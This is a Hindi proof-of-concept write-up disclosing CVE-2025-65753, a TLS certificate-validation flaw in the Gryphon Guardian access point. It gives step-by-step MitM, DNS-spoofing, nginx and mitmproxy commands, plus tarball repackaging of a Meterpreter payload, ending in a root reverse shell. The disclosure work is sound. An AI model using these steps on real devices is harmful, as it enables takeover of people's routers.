
CVE-2025-65753 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: अनुचित TLS प्रमाणपत्र सत्यापन के माध्यम से Gryphon Guardian एक्सेस पॉइंट पर दूरस्थ कोड निष्पादन, जिससे MitM और DNS स्पूफिंग हमले संभव होते हैं।
CVE-2025-65753 के लिए प्रमाण अवधारणा: Gryphon Guardian एक्सेस पॉइंट, फर्मवेयर संस्करण 01.06.0006.22, पर अनुचित TLS प्रमाणपत्र सत्यापन के माध्यम से दूरस्थ कोड निष्पादन।
Gryphon Guardian WiFi एक्सेस पॉइंट, फर्मवेयर संस्करण 01.06.0006.22 के साथ, ऐप के माध्यम से संकेत देने के बाद डाउनलोड किए गए इंटरनेट स्पीडटेस्ट क्लाइंट के TLS प्रमाणपत्र को सही ढंग से सत्यापित नहीं करता है। यह दोष एक हमलावर को संचार को रोकने और हेरफेर करने की अनुमति देता है, क्लाइंट में दुर्भावनापूर्ण कोड इंजेक्ट करता है जिसे बाद में एक्सेस पॉइंट द्वारा रूट के रूप में निष्पादित किया जाता है।
इस भेद्यता का शोषण करने के 2 तरीके हैं:
इस PoC के प्रयोजनों के लिए, एक्सेस पॉइंट से ट्रैफ़िक को 2 नेटवर्क इंटरफेस को ब्रिज करके, हमलावर के कंप्यूटर (मूल रूप से एक MitM हमला) के माध्यम से रूट किया जा रहा है, जैसा कि इस आरेख में देखा गया है।

ऐसा करने के लिए, विश्लेषण के लिए TCP ट्रैफ़िक को स्थानीय पोर्ट 9900 पर रीडायरेक्ट करते हुए, मैंने अपने स्वयं के उपकरण का उपयोग किया: https://github.com/diegovargasj/bridge-interfaces

इसके बाद, मैंने TLS कनेक्शन का विश्लेषण करने और प्रमाणपत्र के सत्यापन का परीक्षण करने के लिए स्वचालित रूप से कई हमलों को तैनात करने के लिए aapooksman के certmitm टूल (https://github.com/aapooksman/certmitm) का उपयोग किया। इससे कई सर्वरों में कई दोष प्रकट होते हैं। जिसने मेरा ध्यान खींचा वह से स्पीडटेस्ट क्लाइंट डाउनलोड था, जिसे एक साधारण स्व-हस्ताक्षरित प्रमाणपत्र के साथ इंटरसेप्ट किया जा सकता है।

टारबॉल में 32 बिट ARM संकलित ELF होता है, जो स्पष्ट रूप से डिवाइस द्वारा डाउनलोड, अनपैक और निष्पादित किया जाता है।

डिवाइस प्रमाणिकता के लिए TLS प्रमाणपत्र को मान्य नहीं करता है, क्योंकि यह खुशी-खुशी एक साधारण स्व-हस्ताक्षरित प्रमाणपत्र स्वीकार करता है। इस प्रकार, एक HTTPS सर्वर तैनात करके और install.speedtest.net के लिए DNS प्रतिक्रियाओं को स्पूफ करके, आप अपनी पसंद का कोई भी निष्पादन योग्य फ़ाइल प्रस्तुत कर सकते हैं। ऐसा करने के लिए, बस निम्नलिखित nginx कॉन्फ़िगरेशन का उपयोग करें:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
इसके बाद, dnsmasq के माध्यम से DNS प्रतिक्रियाओं को स्पूफ करने के लिए, अपनी /etc/hosts फ़ाइल में निम्नलिखित पंक्ति जोड़ें।
192.168.0.15 install.speedtest.net
अंत में, bridge-interfaces.sh स्क्रिप्ट को पुनरारंभ करें, certmitm.py को मारें और mitmproxy चलाएँ:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
अब हमें केवल पेलोड की आवश्यकता है। चूंकि एक्सेस पॉइंट में पायथन स्थापित है, एक साधारण मीटरप्रेटर स्क्रिप्ट पर्याप्त होगी। msfvenom के साथ स्क्रिप्ट बनाएँ:

स्पीडटेस्ट क्लाइंट से मूल ELF को पेलोड को कॉल करने के लिए एक बैश स्क्रिप्ट से बदलें:
python payload.py
और इसे उचित पथ के साथ एक टारबॉल में पैकेज करें, ताकि यह https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz के वेब अनुरोध से मेल खाए:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
अब हम मीटरप्रेटर श्रोता सेट करते हैं। Gryphon ऐप से स्पीडटेस्ट कॉल करने के बाद, हमें रूट के रूप में रिवर्स शेल मिलता है।

और हम एक्सेस पॉइंट के भीतर मनमाने कमांड निष्पादित कर सकते हैं।
